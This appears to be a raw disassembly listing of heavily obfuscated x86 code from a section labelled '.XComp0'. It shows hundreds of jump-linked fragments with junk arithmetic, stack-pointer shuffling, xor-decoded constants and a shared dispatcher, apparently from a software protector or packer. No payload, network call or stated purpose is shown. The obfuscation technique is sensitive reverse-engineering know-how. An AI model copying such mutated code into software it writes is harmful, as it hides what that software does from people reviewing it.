loc_59372A ; --------------------------------------------------------------------------- loc_595A72: ; CODE XREF: .XComp0:0058530Fj pop eax add esp, 4 push ebx push 7536h mov [esp], ecx mov ecx, 3D503D0h mov ebx, 660C75F3h xor ebx, ecx pop ecx push 6A57h mov [esp], edx push esi mov esi, 1AB200B7h jmp loc_590BAE ; --------------------------------------------------------------------------- loc_595A9F: ; CODE XREF: .XComp0:0058F29Bj xchg edi, [esp] mov esp, [esp] push edi jmp loc_58DB75 ; --------------------------------------------------------------------------- loc_595AAB: ; CODE XREF: .XComp0:00597CA8j mov edx, 6E227E0Bh jmp loc_58DFFD ; --------------------------------------------------------------------------- loc_595AB5: ; CODE XREF: .XComp0:00584A3Aj add esi, ecx pop ecx add ebp, esi pop esi push ebp push dword ptr [esp+4] jmp loc_58D14F ; --------------------------------------------------------------------------- loc_595AC5: ; CODE XREF: .XComp0:005962D2j pop edx jmp loc_5936D8 ; --------------------------------------------------------------------------- loc_595ACB: ; CODE XREF: .XComp0:0058C5DAj add esp, 4 xchg eax, [esp] pop esp push 2648h mov [esp], edx push esp mov edx, [esp] add esp, 4 jmp loc_5968F0 ; --------------------------------------------------------------------------- loc_595AE6: ; CODE XREF: .XComp0:0058473Bj push 5D56h mov [esp], ebp mov ebp, esp jmp loc_594653 ; --------------------------------------------------------------------------- loc_595AF5: ; CODE XREF: .XComp0:005909C1j mov esp, [esp] jmp loc_58D6DA ; --------------------------------------------------------------------------- push 0F4Ch jmp loc_58F018 ; --------------------------------------------------------------------------- loc_595B07: ; CODE XREF: .XComp0:00598DDDj add eax, ebp pop ebp xor eax, 29403E2Fh jmp loc_58CB7E ; --------------------------------------------------------------------------- loc_595B14: ; CODE XREF: .XComp0:0058BC68j push ebp jmp loc_5987F6 ; --------------------------------------------------------------------------- loc_595B1A: ; CODE XREF: .XComp0:0058511Cj sub edx, 636752C9h neg edx sub edx, 9B9C64D5h mov eax, edx jmp loc_59885F ; --------------------------------------------------------------------------- loc_595B2F: ; CODE XREF: .XComp0:00597412j xor eax, esi pop esi push dword ptr [edi+eax*4] jmp loc_58B852 ; --------------------------------------------------------------------------- loc_595B3A: ; CODE XREF: .XComp0:00588CE6j sub esp, 4 mov [esp], edx push esp mov edx, [esp] add esp, 4 add edx, 4 push ebx mov ebx, 4 add edx, ebx mov ebx, [esp] add esp, 4 xchg edx, [esp] pop esp jmp loc_593857 ; --------------------------------------------------------------------------- loc_595B6A: ; CODE XREF: .XComp0:00589BB7j pop edx add esp, 4 sub esp, 4 mov [esp], edi jmp loc_58E3C3 ; --------------------------------------------------------------------------- loc_595B79: ; CODE XREF: .XComp0:00586AD0j sub edi, 130B325Eh jmp loc_593500 ; --------------------------------------------------------------------------- loc_595B84: ; CODE XREF: .XComp0:00596D8Aj not dword ptr [esp] pop edx jmp loc_597A40 ; --------------------------------------------------------------------------- loc_595B8D: ; CODE XREF: .XComp0:0058E4FBj mov [esp], ebx jmp loc_597AD5 ; --------------------------------------------------------------------------- loc_595B95: ; CODE XREF: .XComp0:005867E5j push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_583A60 ; --------------------------------------------------------------------------- loc_595BBA: ; CODE XREF: .XComp0:0058F721j push ecx mov cl, 2Bh jmp loc_58E85F ; --------------------------------------------------------------------------- loc_595BC2: ; CODE XREF: .XComp0:0058DDD2j mov bx, [esp] jmp loc_58DFE4 ; --------------------------------------------------------------------------- loc_595BCB: ; CODE XREF: .XComp0:0058D075j mov esp, [esp] pop dword ptr [esp] mov esp, [esp] rol word ptr [esp], cl pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_595BDE: ; CODE XREF: .XComp0:005900BDj mov [esp], eax mov al, 4Ah shl al, 2 sub al, 0DEh xor al, 0C2h neg al add al, 30h push edx mov dh, 16h jmp loc_58808E ; --------------------------------------------------------------------------- loc_595BF6: ; CODE XREF: .XComp0:0058EBA5j add [esp+4], ebx pop ebx pop edx jmp loc_58E708 ; --------------------------------------------------------------------------- loc_595C01: ; CODE XREF: .XComp0:00593A54j pop ebp jmp loc_59389A ; --------------------------------------------------------------------------- loc_595C07: ; CODE XREF: .XComp0:0058A946j push eax not dword ptr [esp] pop eax dec eax add eax, 5E1A7BC6h sub eax, 1058DBF2h push eax not dword ptr [esp] pop eax shl eax, 1 and eax, 28BF4CF4h or eax, 9BE58BBh push ecx jmp loc_58FFB1 ; --------------------------------------------------------------------------- loc_595C2E: ; CODE XREF: .XComp0:00586844j mov al, dh mov ch, al pop eax pop edx sub dh, 0A4h add dh, ch add dh, 0A4h mov ecx, [esp] push eax mov eax, esp jmp loc_5858AD ; --------------------------------------------------------------------------- loc_595C47: ; CODE XREF: .XComp0:00585A6Dj pop ecx xchg ah, dh jmp loc_587487 ; --------------------------------------------------------------------------- loc_595C4F: ; CODE XREF: .XComp0:00586E94j pop esp jmp loc_5921F3 ; --------------------------------------------------------------------------- loc_595C55: ; CODE XREF: .XComp0:0058C214j dec edx add edx, 0D03A9C07h add ecx, edx jmp loc_587F99 ; --------------------------------------------------------------------------- loc_595C63: ; CODE XREF: .XComp0:00583C42j xchg eax, [esp] mov esp, [esp] mov [esp], ebx jmp loc_59730C ; --------------------------------------------------------------------------- loc_595C71: ; CODE XREF: .XComp0:0059369Cj pop esi push ecx mov ecx, 0BE469FFh xor ecx, 11248h jmp loc_586307 ; --------------------------------------------------------------------------- loc_595C83: ; CODE XREF: .XComp0:0059664Ej mov [esp], edx push edi mov edi, 3BC048E1h mov edx, edi pop edi jmp loc_592D78 ; --------------------------------------------------------------------------- loc_595C94: ; CODE XREF: .XComp0:0058EEF7j shl edi, 6 dec edi sub edi, 0B74D454Ch xor ebx, edi push dword ptr [esp] pop edi push ebp mov ebp, esp add ebp, 4 push eax jmp loc_588E0D ; --------------------------------------------------------------------------- loc_595CB3: ; CODE XREF: .XComp0:0059721Aj push dx mov dl, 0D5h add bl, dl pop dx push eax mov ah, 3Bh dec ah push ecx mov cl, ah push bx mov bl, cl not bl push edx mov dh, bl mov cl, dh pop edx mov bx, [esp] jmp loc_58B5E2 ; --------------------------------------------------------------------------- loc_595CD8: ; CODE XREF: .XComp0:0058E086j xor bh, 0C8h xor bh, 91h sub bh, 66h jmp loc_58BDDB ; --------------------------------------------------------------------------- loc_595CE6: ; CODE XREF: .XComp0:0059424Aj mov esi, 4 jmp loc_58407D ; --------------------------------------------------------------------------- loc_595CF0: ; CODE XREF: .XComp0:0058DDEAj mov [esp], edx jmp loc_595F16 ; --------------------------------------------------------------------------- loc_595CF8: ; CODE XREF: .XComp0:0059842Cj xor esi, 73440A02h xor esi, 1DC055C2h jmp loc_598FC0 ; --------------------------------------------------------------------------- loc_595D09: ; CODE XREF: .XComp0:0058D3C2j sub edi, 1B730B95h sub edi, esi add edi, 1B730B95h pop esi xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_591F05 ; --------------------------------------------------------------------------- loc_595D26: ; CODE XREF: .XComp0:0058481Ej sub esi, 0D0955976h add eax, esi pop esi push ecx push esi jmp loc_592385 ; --------------------------------------------------------------------------- loc_595D36: ; CODE XREF: .XComp0:005895A5j sub esp, 4 mov [esp], eax mov eax, 0 sub eax, ebx mov ebx, eax pop eax push edi mov edi, 0D553A6h inc edi neg edi push edx jmp loc_590269 ; --------------------------------------------------------------------------- loc_595D55: ; CODE XREF: .XComp0:00592ABFj not ebp inc ebp xor ebp, 0BEE189C7h add edi, ebp pop ebp add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp add esp, 4 or edx, eax shl edx, 1 sub esp, 4 mov [esp], ecx sub esp, 4 jmp loc_58A19A ; --------------------------------------------------------------------------- loc_595D8C: ; CODE XREF: .XComp0:00593966j add esi, 4 push ebx mov ebx, 4 sub esi, ebx pop ebx xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] mov [esp], ecx push 4 pop ecx sub esi, 57FD7DC6h add esi, ecx add esi, 57FD7DC6h mov ecx, [esp] add esp, 4 jmp loc_590FC3 ; --------------------------------------------------------------------------- loc_595DCC: ; CODE XREF: .XComp0:00587B35j pop esi xchg ebp, [esp] mov esp, [esp] push dx push ecx push eax mov al, 0ADh mov cl, 0Eh jmp loc_598B44 ; --------------------------------------------------------------------------- loc_595DE0: ; CODE XREF: .XComp0:00583D67j mov [esp], ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] jmp loc_58A35E ; --------------------------------------------------------------------------- loc_595E02: ; CODE XREF: .XComp0:0058D02Cj add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx jmp loc_592F7F ; --------------------------------------------------------------------------- loc_595E17: ; CODE XREF: .XComp0:00586B95j mov ecx, 4 sub esi, ecx jmp loc_588929 ; --------------------------------------------------------------------------- loc_595E23: ; CODE XREF: .XComp0:0058BE59j pop edi pop dword ptr [esp] mov esp, [esp] mov edx, [esp] add esp, 4 push 650Ah mov [esp], ebx push edx jmp loc_591FE6 ; --------------------------------------------------------------------------- loc_595E41: ; CODE XREF: .XComp0:00587F4Ej add ebx, 0B7AB459Bh add edi, ebx pop ebx push 3D9h mov [esp], esi push 4 jmp loc_591252 ; --------------------------------------------------------------------------- loc_595E5C: ; CODE XREF: .XComp0:005893D4j sub eax, 6559023Ah add eax, 51866651h sub eax, 335C253Bh sub eax, ebp add eax, 335C253Bh jmp loc_58DE2D ; --------------------------------------------------------------------------- loc_595E77: ; CODE XREF: .XComp0:00594F94j add ebx, 1C0B70FEh add ebx, edx push edx jmp loc_5916AE ; --------------------------------------------------------------------------- loc_595E85: ; CODE XREF: .XComp0:005873C0j push dword ptr [esp] jmp loc_586661 ; --------------------------------------------------------------------------- loc_595E8D: ; CODE XREF: .XComp0:0058E4D1j and ecx, 48F72507h jmp loc_58B1B1 ; --------------------------------------------------------------------------- loc_595E98: ; CODE XREF: .XComp0:005850EBj xor [esp], ebp xor ebp, [esp] jmp loc_58E44F ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], eax push 6982h mov [esp], esp push edi mov edi, 4 add [esp+4], edi pop edi jmp loc_58667A ; --------------------------------------------------------------------------- loc_595EC5: ; CODE XREF: .XComp0:00589A67j push esi push 110F71A0h pop esi push ebp jmp loc_594CE7 ; --------------------------------------------------------------------------- loc_595ED2: ; CODE XREF: .XComp0:0058C548j mov ax, [esp] jmp loc_58A890 ; --------------------------------------------------------------------------- loc_595EDB: ; CODE XREF: .XComp0:00595318j pop eax add ebp, edx push dword ptr [esp] jmp loc_58EFC1 ; --------------------------------------------------------------------------- loc_595EE6: ; CODE XREF: .XComp0:0059515Bj xchg edi, [esp] pop esp mov [esp], ecx mov ecx, 2A083133h xor ecx, 589A0D11h add ecx, 0ADB5273Ch or ebx, ecx pop ecx xchg edi, ebx jmp loc_590C5F ; --------------------------------------------------------------------------- push dword ptr [edi+2Ch] jmp loc_583A60 ; --------------------------------------------------------------------------- loc_595F10: ; CODE XREF: .XComp0:0058F957j pop ecx jmp loc_58CFEF ; --------------------------------------------------------------------------- loc_595F16: ; CODE XREF: .XComp0:00595CF3j mov edx, 0 push ecx jmp loc_59260F ; --------------------------------------------------------------------------- loc_595F21: ; CODE XREF: .XComp0:005852C0j pop esp add ebx, 710E4728h push edx jmp loc_588790 ; --------------------------------------------------------------------------- mov ax, [esp] push eax jmp loc_58E671 ; --------------------------------------------------------------------------- loc_595F38: ; CODE XREF: .XComp0:00583C24j push 3559h jmp loc_591731 ; --------------------------------------------------------------------------- loc_595F42: ; CODE XREF: .XComp0:0058E490j inc ecx inc ecx sub ecx, 30770CE7h add eax, ecx mov ecx, [esp] add esp, 4 add ebx, eax mov eax, [esp] add esp, 4 jmp loc_593C69 ; --------------------------------------------------------------------------- loc_595F65: ; CODE XREF: .XComp0:005935D7j mov ecx, 4B6A6E2Bh neg ecx add ecx, 80A5C3A1h and ebx, ecx pop ecx or ebx, 5BAA2BD8h sub ebx, 7BBA3BF8h sub eax, 12973E81h add eax, ebx add eax, 12973E81h pop ebx push edi push eax mov eax, 4 mov edi, eax pop eax push ebx jmp loc_593828 ; --------------------------------------------------------------------------- loc_595F9E: ; CODE XREF: .XComp0:0058A4D4j push ebp push ecx mov ecx, 4 mov ebp, ecx pop ecx push edi mov edi, 775770B2h dec edi jmp loc_585BE4 ; --------------------------------------------------------------------------- loc_595FB4: ; CODE XREF: .XComp0:0058642Ej sub eax, ecx pop ecx xor esi, eax mov eax, [esp] add esp, 4 xor esi, 0B7066787h add edi, esi pop esi xchg edi, [esp] pop esp pop small word ptr [eax] jmp loc_583A60 ; --------------------------------------------------------------------------- lodsb xor al, bl push 103h mov [esp], ecx mov ch, 19h dec ch xor ch, 0C2h sub esp, 4 mov [esp], eax mov al, ch dec al sub esp, 4 jmp loc_59366D ; --------------------------------------------------------------------------- loc_595FFE: ; CODE XREF: .XComp0:005902F6j xor eax, 2A2D428Bh push ecx jmp loc_591784 ; --------------------------------------------------------------------------- loc_596009: ; CODE XREF: .XComp0:00587952j pop edx add edx, 12AA3E57h neg edx sub edx, 0B8D47FBh jmp loc_587679 ; --------------------------------------------------------------------------- loc_59601D: ; CODE XREF: .XComp0:005928C7j pop eax add ebp, ecx pop ecx add ebp, 4 xchg ebp, [esp] jmp loc_58496A ; --------------------------------------------------------------------------- loc_59602C: ; CODE XREF: .XComp0:005878E9j sub esp, 4 mov [esp], ecx mov ecx, 4B0939CCh or ecx, 6A5C6410h add ecx, 0D754D838h sub eax, ecx jmp loc_585A8D ; --------------------------------------------------------------------------- lodsd xor eax, ebx push ecx jmp loc_59574F ; --------------------------------------------------------------------------- push ebx mov ebx, esp push edi mov edi, 3A7E66BFh sub edi, 565A1B78h dec edi xor edi, 0E4244B42h add ebx, edi pop edi sub ebx, 4 jmp loc_593E1B ; --------------------------------------------------------------------------- loc_59607A: ; CODE XREF: .XComp0:00593029j sub al, 0B3h sub al, dh jmp loc_5861D8 ; --------------------------------------------------------------------------- loc_596083: ; CODE XREF: .XComp0:005901DAj sub edx, 0E13D3679h jmp loc_58C8C9 ; --------------------------------------------------------------------------- loc_59608E: ; CODE XREF: .XComp0:0058E76Bj add esp, 4 push eax mov eax, esp add eax, 4 add eax, 4 push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 jmp loc_596AAC ; --------------------------------------------------------------------------- loc_5960AF: ; CODE XREF: .XComp0:0058F806j sub esp, 4 jmp loc_58F67D ; --------------------------------------------------------------------------- loc_5960B7: ; CODE XREF: .XComp0:00591FA7j mov ebp, 43F47F17h xor edx, ebp pop ebp sub edx, 0FFFFFFFFh jmp loc_588A65 ; --------------------------------------------------------------------------- loc_5960CA: ; CODE XREF: .XComp0:0058F1A0j pop edi add ebp, edi pop edi push 468Ch mov [esp], edx mov edx, 4 add ebp, edx push dword ptr [esp] pop edx push ecx mov ecx, esp jmp loc_58427F ; --------------------------------------------------------------------------- loc_5960E9: ; CODE XREF: .XComp0:00595141j add esp, 4 xor edx, 735B79DEh xor edx, 23311056h add ebx, 59D04A40h sub ebx, edx sub ebx, 59D04A40h jmp loc_593771 ; --------------------------------------------------------------------------- loc_59610B: ; CODE XREF: .XComp0:00585839j xor bl, 0FFh sub ah, bl jmp loc_5870B4 ; --------------------------------------------------------------------------- loc_596115: ; CODE XREF: .XComp0:005981ECj mov ebx, 0FFFFFFFFh add esi, ebx pop ebx jmp loc_58FB00 ; --------------------------------------------------------------------------- loc_596122: ; CODE XREF: .XComp0:00587B13j add ebp, 29A21F77h pop ecx xor eax, ebp mov ebp, [esp] sub esp, 4 mov [esp], ebp push esp pop ebp jmp loc_58C783 ; --------------------------------------------------------------------------- loc_59613B: ; CODE XREF: .XComp0:00598F8Fj sub eax, 61F54735h push esi jmp loc_58D4BF ; --------------------------------------------------------------------------- loc_596146: ; CODE XREF: .XComp0:0058D1D4j push edx jmp loc_58A884 ; --------------------------------------------------------------------------- loc_59614C: ; CODE XREF: .XComp0:00588D1Bj add ch, bh add ch, 7Ch mov ebx, [esp] add esp, 4 jmp loc_5938E8 ; --------------------------------------------------------------------------- loc_59615C: ; CODE XREF: .XComp0:00598956j mov ecx, 4A562536h mov eax, ecx pop ecx shr eax, 8 jmp loc_584B87 ; --------------------------------------------------------------------------- loc_59616C: ; CODE XREF: .XComp0:00585073j add ebx, 0EEAFCE8Bh add eax, ebx pop ebx pop ebp push 475h mov [esp], ebx push 1D2C6D9Bh push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 jmp loc_591FCE ; --------------------------------------------------------------------------- loc_596197: ; CODE XREF: .XComp0:0058A0BCj push 5E0Ch mov [esp], ebp mov ebp, 4 sub edi, 74861AAEh add edi, ebp add edi, 74861AAEh push dword ptr [esp] push dword ptr [esp] pop ebp jmp loc_5885E1 ; --------------------------------------------------------------------------- loc_5961BE: ; CODE XREF: .XComp0:0059708Aj pop edx jmp loc_58C46A ; --------------------------------------------------------------------------- loc_5961C4: ; CODE XREF: .XComp0:00588A6Ej xor eax, 4D2308EEh add eax, 0CEC7030h add eax, 0B086EBC7h sub edx, 11B82E69h add edx, eax jmp loc_5886C3 ; --------------------------------------------------------------------------- loc_5961E0: ; CODE XREF: .XComp0:00587ADEj pop edx jmp loc_583C23 ; --------------------------------------------------------------------------- loc_5961E6: ; CODE XREF: .XComp0:00594B2Cj and eax, edi push dword ptr [esp] push dword ptr [esp] jmp loc_585563 ; --------------------------------------------------------------------------- loc_5961F3: ; CODE XREF: .XComp0:005859F9j push 7229h mov [esp], ebx mov ebx, esp push ebp push ecx push 92C6DB1h pop ecx xor ecx, 61993421h neg ecx xor ecx, 5F2468B0h xor ecx, 821C90E9h mov ebp, ecx pop ecx push ebp not dword ptr [esp] pop ebp dec ebp and ebp, 278773EEh sub esp, 4 mov [esp], eax jmp loc_58531E ; --------------------------------------------------------------------------- loc_596233: ; CODE XREF: .XComp0:00593FA7j sub dx, bx sub dx, 3A3Fh push bp mov bp, 11B1h or bp, 1D4Fh add bp, 40B2h sub dx, 1157h sub dx, bp add dx, 1157h pop bp mov bx, [esp] jmp loc_588D73 ; --------------------------------------------------------------------------- loc_596263: ; CODE XREF: .XComp0:00592FDEj mov ecx, esi mov esi, [esp] add esp, 4 xor ebx, ecx pop ecx and ebx, 61594D8Fh push edi mov edi, 1E2C6781h or ebx, edi mov edi, [esp] add esp, 4 push ebp jmp loc_58F126 ; --------------------------------------------------------------------------- loc_59628B: ; CODE XREF: .XComp0:00598FE8j sub bl, 7Ah dec bl xor bl, 3Fh jmp loc_586AE4 ; --------------------------------------------------------------------------- loc_596298: ; CODE XREF: .XComp0:0058C45Dj add ebx, ecx jmp loc_58D5EC ; --------------------------------------------------------------------------- loc_59629F: ; CODE XREF: .XComp0:0058B727j sub esi, 26D1347Fh push eax mov eax, 6FCE059Ch jmp loc_5866DC ; --------------------------------------------------------------------------- loc_5962B0: ; CODE XREF: .XComp0:00584338j pop esp mov [esp], edi jmp loc_5918F9 ; --------------------------------------------------------------------------- loc_5962B9: ; CODE XREF: .XComp0:00594711j xor edi, 20363353h pop esi sub edi, eax pop eax jmp loc_58AE4F ; --------------------------------------------------------------------------- loc_5962C8: ; CODE XREF: .XComp0:00585911j xor [esp], ecx jmp loc_593A33 ; --------------------------------------------------------------------------- loc_5962D0: ; CODE XREF: .XComp0:005884ACj add ebp, edx jmp loc_595AC5 ; --------------------------------------------------------------------------- loc_5962D7: ; CODE XREF: .XComp0:0058F74Aj push ecx mov ecx, 13136189h jmp loc_58C99D ; --------------------------------------------------------------------------- loc_5962E2: ; CODE XREF: .XComp0:00584599j push edi mov edi, 6EED1E0Ah sub edi, 58F24CABh add edi, 5212577h jmp loc_58E881 ; --------------------------------------------------------------------------- loc_5962F9: ; CODE XREF: .XComp0:00592566j mov eax, ecx push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] push ecx push esp jmp loc_58B9D1 ; --------------------------------------------------------------------------- loc_59630B: ; CODE XREF: .XComp0:0058BF4Dj add edx, 781461E9h add edx, ecx sub edx, 781461E9h add edx, 47EC0AB7h pop ecx push edi mov edi, 52FE2B14h push 185h mov [esp], ecx jmp loc_584EE9 ; --------------------------------------------------------------------------- loc_596333: ; CODE XREF: .XComp0:00586565j xor edi, ebp jmp loc_5938C1 ; --------------------------------------------------------------------------- loc_59633A: ; CODE XREF: .XComp0:00598FB3j mov [esp], ebx xchg ebp, [esp] not ebp jmp loc_584E70 ; --------------------------------------------------------------------------- loc_596347: ; CODE XREF: .XComp0:005855E0j push ecx mov ecx, 4 add ebx, ecx pop ecx add ebx, 4 jmp loc_588668 ; --------------------------------------------------------------------------- loc_596358: ; CODE XREF: .XComp0:00583D5Aj add ch, 91h jmp loc_58DA7A ; --------------------------------------------------------------------------- loc_596360: ; CODE XREF: .XComp0:0058FA1Aj mov edx, [esp] add esp, 4 jmp loc_58CB96 ; --------------------------------------------------------------------------- loc_59636E: ; CODE XREF: .XComp0:0058F5C2j mov [esp], ecx mov ecx, esp jmp loc_596D0A ; --------------------------------------------------------------------------- loc_596378: ; CODE XREF: .XComp0:0058D582j pop esp jmp loc_59551E ; --------------------------------------------------------------------------- loc_59637E: ; CODE XREF: .XComp0:00594104j mov bh, al pop eax mov ah, bh pop ebx mov edx, [esp] jmp loc_58FB13 ; --------------------------------------------------------------------------- loc_59638C: ; CODE XREF: .XComp0:0059755Ej push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp mov [esp], eax jmp loc_591B25 ; --------------------------------------------------------------------------- loc_59639D: ; CODE XREF: .XComp0:0058F99Cj mov [esp], ebx push esp pop ebx jmp loc_58E0C9 ; --------------------------------------------------------------------------- loc_5963A7: ; CODE XREF: .XComp0:005865EEj push 4448h mov [esp], esi mov esi, 7E224573h sub eax, esi mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], esi jmp loc_59434E ; --------------------------------------------------------------------------- loc_5963CD: ; CODE XREF: .XComp0:005850DDj cmp eax, edx jz loc_5952B3 push ebx mov ebx, esp add ebx, 4 jmp loc_58B50F ; --------------------------------------------------------------------------- loc_5963E3: ; CODE XREF: .XComp0:0058804Cj add esp, 4 push edi push esp pop edi add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_595526 ; --------------------------------------------------------------------------- loc_5963FE: ; CODE XREF: .XComp0:0058F1C7j mov edi, 15B77667h add ebx, edi pop edi xor ebx, 23D681F1h mov esi, ebx pop ebx and esi, 17F24E20h shl esi, 8 jmp loc_59084E ; --------------------------------------------------------------------------- loc_59641D: ; CODE XREF: .XComp0:0058456Fj mov [esp], edx push eax pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_596427: ; CODE XREF: .XComp0:00591F00j pop esp mov fs:[edx], al jmp loc_583A60 ; --------------------------------------------------------------------------- loc_596430: ; CODE XREF: .XComp0:0058A22Fj mov [esp], edi push 48D841C0h mov edi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp neg edi jmp loc_5921FA ; --------------------------------------------------------------------------- loc_596455: ; CODE XREF: .XComp0:005938E3j pop ebx add esi, ebx sub esi, 7887BDBh mov ebx, [esp] add esp, 4 push edx mov edx, 4 jmp loc_586C8C ; --------------------------------------------------------------------------- loc_59646F: ; CODE XREF: .XComp0:00587012j sub dword ptr [esp+4], 797826A4h mov eax, [esp] add esp, 4 mov eax, [esp] jmp loc_5869B9 ; --------------------------------------------------------------------------- loc_596485: ; CODE XREF: .XComp0:00588ADAj sub ecx, 0FFFFFFFFh jmp loc_58FA44 ; --------------------------------------------------------------------------- loc_59648D: ; CODE XREF: .XComp0:00588BEAj mov eax, esp add eax, 4 jmp loc_592292 ; --------------------------------------------------------------------------- loc_596499: ; CODE XREF: .XComp0:00589D1Aj mov dl, 1Fh mov bl, 23h add bl, dl pop edx sub al, bl jmp loc_5969FD ; --------------------------------------------------------------------------- loc_5964A7: ; CODE XREF: .XComp0:0059345Ej pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop esi jmp loc_586123 ; --------------------------------------------------------------------------- loc_5964B7: ; CODE XREF: .XComp0:00591566j neg edi jmp loc_583D04 ; --------------------------------------------------------------------------- loc_5964BE: ; CODE XREF: .XComp0:0058F3D6j mov esp, [esp] mov [esp], edx mov dh, 31h mov bh, 2Eh push ecx mov cl, 39h neg cl not cl shr cl, 3 sub cl, 0E2h jmp loc_58B5B7 ; --------------------------------------------------------------------------- loc_5964DA: ; CODE XREF: .XComp0:00586A3Bj mov [esp], edi push 6184h mov [esp], ebp push edi mov edi, 6FFD561Bh mov ebp, 6FFD561Fh xor ebp, edi push dword ptr [esp] pop edi add esp, 4 jmp loc_58FDB6 ; --------------------------------------------------------------------------- loc_5964FE: ; CODE XREF: .XComp0:0058DAC7j push dword ptr [esp] pop edx jmp loc_5890A6 ; --------------------------------------------------------------------------- loc_596507: ; CODE XREF: .XComp0:00595090j pop esp jmp loc_58E09E ; --------------------------------------------------------------------------- loc_59650D: ; CODE XREF: .XComp0:00591AA9j or edx, eax jmp loc_58C572 ; --------------------------------------------------------------------------- loc_596514: ; CODE XREF: .XComp0:00583DDCj add ebp, 0C7B7994Ah add ebx, ebp pop ebp inc ebx xor ebx, 8924856Fh xor eax, ebx pop ebx sub eax, 1AD86B55h add eax, 779A32BCh add eax, edi sub eax, 779A32BCh jmp loc_590046 ; --------------------------------------------------------------------------- loc_59653D: ; CODE XREF: .XComp0:0059138Bj mov bp, cx jmp loc_593F98 ; --------------------------------------------------------------------------- loc_596545: ; CODE XREF: .XComp0:00589E21j mov ecx, [esp] add esp, 4 jmp loc_5957A4 ; --------------------------------------------------------------------------- loc_596550: ; CODE XREF: .XComp0:0058A8EFj add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_590E89 ; --------------------------------------------------------------------------- loc_596565: ; CODE XREF: .XComp0:00596E51j push edx push ebx mov ebx, esp push esi mov esi, 4 jmp loc_59340E ; --------------------------------------------------------------------------- loc_596574: ; CODE XREF: .XComp0:005869D3j mov ah, 6Dh shl ah, 3 xor ah, 0F1h push ebx jmp loc_585834 ; --------------------------------------------------------------------------- loc_596582: ; CODE XREF: .XComp0:0058415Dj add [esp+4], esi mov esi, [esp] jmp loc_5901E5 ; --------------------------------------------------------------------------- loc_59658E: ; CODE XREF: .XComp0:0058A639j add eax, 4 jmp loc_5921A4 ; --------------------------------------------------------------------------- loc_596598: ; CODE XREF: .XComp0:005926ECj push dword ptr [esp+4] jmp loc_58D543 ; --------------------------------------------------------------------------- loc_5965A1: ; CODE XREF: .XComp0:00593DC2j sub ecx, esi add ecx, 3AE3098Dh jmp loc_5851FC ; --------------------------------------------------------------------------- loc_5965AE: ; CODE XREF: .XComp0:00593205j add esp, 4 sub esi, edi jmp loc_58EEC4 ; --------------------------------------------------------------------------- loc_5965BB: ; CODE XREF: .XComp0:00590715j push bx mov bh, 0D8h sub al, bh jmp loc_59727E ; --------------------------------------------------------------------------- loc_5965C6: ; CODE XREF: .XComp0:0058B617j pop edx jmp loc_58B4A6 ; --------------------------------------------------------------------------- loc_5965CC: ; CODE XREF: .XComp0:0058B45Ej add esi, ebp pop ebp push ebp mov ebp, 4 add esi, ebp mov ebp, [esp] add esp, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp sub esp, 4 jmp loc_596947 ; --------------------------------------------------------------------------- loc_5965F5: ; CODE XREF: .XComp0:00598B6Cj push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] jmp loc_58CFD1 ; --------------------------------------------------------------------------- loc_596607: ; CODE XREF: .XComp0:005985D6j push ebp push 0A6215D6h pop ebp shr ebp, 7 or ebp, 59E52A19h shr ebp, 5 push edi mov edi, 2CFAF75h xor ebp, edi jmp loc_589B2C ; --------------------------------------------------------------------------- loc_596627: ; CODE XREF: .XComp0:00591EA2j mov eax, 69FA668Fh sub ebx, eax pop eax sub ebx, eax add ebx, 69FA668Fh jmp loc_59213E ; --------------------------------------------------------------------------- loc_59663C: ; CODE XREF: .XComp0:0058B853j mov eax, esp push esi mov esi, 4 add eax, esi pop esi sub eax, 4 xchg eax, [esp] pop esp jmp loc_595C83 ; --------------------------------------------------------------------------- loc_596653: ; CODE XREF: .XComp0:00592336j add ebx, ebp pop ebp jmp loc_58C98B ; --------------------------------------------------------------------------- loc_59665B: ; CODE XREF: .XComp0:00589102j neg edi jmp loc_596832 ; --------------------------------------------------------------------------- loc_596662: ; CODE XREF: .XComp0:00598E98j mov ecx, 687B0D69h add ebx, 4BBA369Eh sub ebx, ecx sub ebx, 4BBA369Eh mov ecx, [esp] jmp loc_591E9E ; --------------------------------------------------------------------------- loc_59667D: ; CODE XREF: .XComp0:00585F9Bj shl ebx, 4 sub ebx, 0FFFFFFFFh push edi mov edi, 6E6121BEh xor edi, 2A96E41h neg edi dec edi add edi, 2FA20ED8h xor edi, 3F2B4049h xor ebx, edi pop edi mov ecx, ebx mov ebx, [esp] push eax mov eax, esp jmp loc_58E799 ; --------------------------------------------------------------------------- loc_5966AE: ; CODE XREF: .XComp0:0058A328j sub esp, 4 mov [esp], eax not dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 xchg eax, ebx push ecx mov ecx, 1 add ebx, ecx jmp loc_585C44 ; --------------------------------------------------------------------------- loc_5966CC: ; CODE XREF: .XComp0:00590F59j mov edx, [esp] add esp, 4 add eax, ebx mov ebx, [esp] add esp, 4 push ebx mov ebx, 2 push esi mov esi, 1EA07B22h add esi, 172BC831h jmp loc_5929FF ; --------------------------------------------------------------------------- loc_5966F7: ; CODE XREF: .XComp0:005968EBj sub ecx, ebp pop ebp jmp loc_58F912 ; 